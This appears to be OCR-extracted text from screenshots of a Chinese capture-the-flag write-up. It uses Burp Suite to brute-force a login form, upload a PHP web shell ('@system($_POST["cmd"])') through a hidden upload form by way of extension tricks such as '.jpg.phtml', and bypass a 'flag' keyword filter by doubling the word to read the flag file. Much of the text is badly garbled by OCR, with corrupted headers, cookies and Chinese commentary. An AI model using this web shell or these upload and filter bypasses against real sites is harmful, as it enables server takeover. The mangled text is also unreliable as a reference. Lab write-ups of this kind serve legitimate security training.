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Target | Provy | Spider | Scanner | Intruder Repeater[Sequencer Decoder | Comparer | Extender onjecnmmns[Usevomons Alets
1zl ]
Target Posmmﬂpay\nads Options - ]i*—%lﬁﬁz@, @H‘J‘g?ﬁ&ﬂﬁﬁ\’[ﬁﬁ

@ Payload Positions

Configure the positions where payl

Start attack

2 inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: | Battering ram ‘v]

POST /login.php HTTR/L. L

Host: 98204d2d98a34797h5dd742624bdBE37472976770=b f4abc , game . ichungiv. com Add5)
User-Agent: Mozilla/s.0 (Windows NT 10.0: WOUEd: rv:e2 cko/20100101 Firefox/62.0
0.8

Accept: text/html,application/zhtml+xml, application/sml Clear §
5 ,eniq=0.2

Accept-Language: zh-CH, zh; g=0.8, zh=TV; . ;q=0.5, en-05; q=0. .2
Referer: http://99604d2d98a3479Eb5dd742624h 86374729767 70ebE4abe . game . ichungiu, con/ login, php Auto §
Content-Type: application/x-wwv-form-urlencoded

Content-Length: 47

o

Zh-HK

Cookie: istinctid=1E5c37=£5739-09084808d9¢acat- 116 1694a-c0840- 165c372£57CES; chkphone=acWxNpxhQpDiAchhluSnEqyiQubI0D000; Hm lve 9104989ce242aB=03040=acecass0328=1536583911, 1536641726, 1536667556; Baitash
Hn_lvt_1a32£7c660491887dh0960=0¢314b022- 1536503012, 153664 1S3EEE755E; pgv_pvi=l337294848; Hm lvt _2d0E0LRd2E8d=7d49818249¢£35d95643=153675249¢, 153801075, L53 E80424E, 153£972485;
Ci_session=f9ccc573997h7036444990£045467d5d6bdc 141=4; pov_Si=s5401614336; Hm_1pvt 2d0601bd28d=7d4581824590135095043=1536950579; PHPSESSID=8cggronokSccul fnoicihinire

Connsction: close
Upgrade-Insecure-Requests: 1

username=§i§spassvord=§i8 195063 ubmi t=+E7 599 ¥ BB ES¥BD 5SS
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2 payload positions Length: 1149
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HERATE M user. php.bak XHAER payload , BIRI1FEIF 7 4 ML
AT G EEIRR:

C @ @ view-source:http://98604d2d98a3479fb5dd742624bd8637472976770ebf4abc.game.ichungiu.com/
¢ mn-mEE () EdEEIsEE Qhaol2s @z @FE Or O ssrE @ O Z5 T © venmdne @ BEER Qe @ =

{!DOCTYPE html>
<html>
<head>
{meta charset="utf-8" />
title>PArPld/title>
{/head>
<{body>
{center>
— FFERMHTELE —
{!— <form action="" method="POST” enctype="multipart/form—data™>
{input type="file” name="file” />
<{input type="submit” name="submit” value="_tA{£" />
</form> —>
{/center>
</body>
</html>
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+ 3 HTML & jurzse
<IDOCTYPE htmL> E L P
<html> [event }
<head>» =)</head>
w <body>
w <center>

<form action="" method="POST" enctype="multipart/form-data™> (=)</form>
<fcenter>
</body>
</html>
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[Target [ Proxy I Spider I Scanner I Intruder T R ter T Sequencer T Decoder T Comparer [ Extender I Project options [ User options TAIerts 1

Go Cancel < |v > | Target: http://98604d2d98a3479fb5dd742624bdB6374729767T0ebf4abc.game.ichunqgiu.com @[ﬂ

Request Response

J Raw I Params I Headers I Hex 1 Raw

ungiu. com/

Content-Type: multipart/form-data;
houndary=-—---———-——————————————————— 199321008583 1350
Content-Length: 337

Cookie:

UM distinctid=l65c37ef5739-09d84808d%6acaB-11616594a-c0840- 16537
=f57c65; chkphone=acWxNpxhOpDiAchhNuSnEgqyiQub IO0000;

Hm lvt 91045989cel4Zafe03045%=acecad50328=15365835811, 153664172¢, 15
3EEETS55E;

Hm lve_1a3Zf7cE660491887db05960e5c3 14b0Z2=15365035912, 1536641727, 15 ™
JEEET556; pgv_pvi=l1337254848;

Hm lvt Zd0E01bdZ8de7d459818249cf35d955943=1536752456, L536801075, 15
36804246, 15369794595;
ci_session=fScccS5735597h703644450£045467d5debdcldled;
pogv_si=s5401614336;

Hm lpvt_Zd0E01bdZS8de7d49818249c£35d95843=153£880575;
FPHPSESZSID=ScggconockScculfnoicibinice

Connection: close

Upgrade-Insecure-BEegquests: 1

O
e

————————————————————————————— 15932100883 1350
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: application/octet-stream

<?php @system[$_POST["cmd”]]?>
————————————————————————————— 159932100883 1350
Content-Disposition: form-data; name="submit"

ooo
————————————————————————————— 195932100883 1350-—
=
[» v
w liJ lLJ [LJ | 0 matches uJ [LJ lLJ [LJ Type a search ferm 0 matches
Ready
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php2, php3, php4, php5, phps, pht, phtm, phtml
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Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner | Intruder RepeaelTSequencer Decoder | Comparer | Extender onjecnmmns[Usevomons Alets

S

Go Cancel < v >

Target: http 2976770ebfdabe.game.ichungiu.com | [ 2
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
POST / HITP/1. 1 . HTTP/1.1 200 OK .
Host: 98604d2d98a3479fboddT42624bd8637472976770ebf 4abe. game. 1chungiu. con r Server: nginx/1.10.2 r

User-agent: Mozilla/5.0 (Vindows NI 10.0: VOW64: rv 62.0) Geclko/20100101
Firefox/62.0

Accept: text/htul, application/zhtul+zul, application/zul;q=0. 9, %/#;q=0.§
Accept-Language

Zh~CH, zh:q=0. 8, zh=TF: a=0. 7, 2h-HK : g=0. 5, en-US: =0, 3, en:q=0. 2

Referer

http: //95604d2d98a3479Fh5ddT42624bd8 6374729767 T0ebf dabe. gane. ichungin. con
/

Contemt-Type: multipart/forn-data;
boundary= ———199321008831350

Content-Length: 316

Coolrie
UM_distinctid=165c37e£5739-09d84508d9Gacas-1161694a-c0840-165¢37f57c65
<hlsphone=acVlpshQpD i AcklluSnEqyiQuD100000 ;
Hu_lvt_9104989ce247a8203049eacecad50328=1

6583911, 1536641726, 1536 6

Hu_lvt_1a32£7c660491887db0960=9¢3L4b022=1536583912, 1536641727, L536667556;
PEV_I 294843
Hn_lvt_2d0601bd28de7d49818249cF35095943-1536752496, 1536501075, 1536804246,
1536979495; ci_session=f9ccc573007b703644400£045467d5d6bdc14led;

pEv_si=s5401614336; Hn_lpvt_2d0601bd28de7d49818249cF35d95943=15360!

PHPSESSID=9cggaonok5coulfnoit ibindre
Connection: elose
Upgrade-Insecure-Requests: 1

109321008831350
Content-Disposition: form-data; name='file’: filename="test. jpe. phtnl”
Content-Type: application/octet-strean

1350
Content-Disposition: form-data: name="submit”

4

199321008831350--

b
v
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V5 1a] view.php

& C @

Date: Sat, 15 Sep 2018 09:45:13 GHT
Content-Type: text/html:charset=utf-8
Content-Length: 372

Connection: elose

¥-Powered-By: PHP/5. 5. 8-1ubuntus. 18
Bxpires: Thu, 10 Nov 1981 08:52:00 GHT

Cache-Control: no-store, mo-cache, must-revalidate, post-check=0, pre-check=0

Pragna: no-cache
Vary: Accept-Encoding

!DOCTYPE htal
<htnl>
head>
‘meta charset="utf-8" />
<title P AdG/itles
</head>
bods>
<center>

I— <form action="" method="POST" enctype=multipart/form-data’.
i e

input type="file” name="file
input type="submit” name="submit’ value="Ift" /
/form> —-
</center)
“Ubody>
</htal>

<a href="/view. php" view!/a>

ISERICEL-EX ¥

0 matches

726 bytes | 31 millis

® 98604d2d98a3479fb5dd742624bd8637472976770ebf4abc.game.ichungiu.com/view.php

¢ mn-EE J EdETIsE Qho12s O@Ex OFr OnF O isra O aguy @ 2eTs © venrwmE @ weEr ©

file?

BE¥% view.php?file=flag.php , EHRN filter "flag"

R A il T O — B AR =2 flag.php eyii'e flag » Frelik T K flaflagg.php s BT .php EHRBR flag 7, R —/ME )
FrRgESEE, BUARIE flag BMBTMEBHK _, MEHLESLT

< C @

@ 98604d2d98a3479fb5dd742624bd8637472976770ebf4abc.game.ichunqgiu.com/view php?file=flflagag

¢ wn-EE J EREFTIEE Qho12 @3 OB O=F QisyE ©eauy O FZaTs O venpwmE @ wwEr OEIER @

<{?php
echo 'flag is here’;

" flag {425bb7fb-c20d-406¢c-b83d-adf £d7737566} - ;

7%
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